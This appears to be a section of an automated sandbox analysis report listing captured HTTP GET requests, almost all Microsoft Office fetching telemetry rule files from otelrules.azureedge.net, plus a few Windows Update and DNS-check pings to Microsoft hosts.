Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vtm5gLb8E1KD5w7&MD=SUus2VlZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vtm5gLb8E1KD5w7&MD=SUus2VlZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
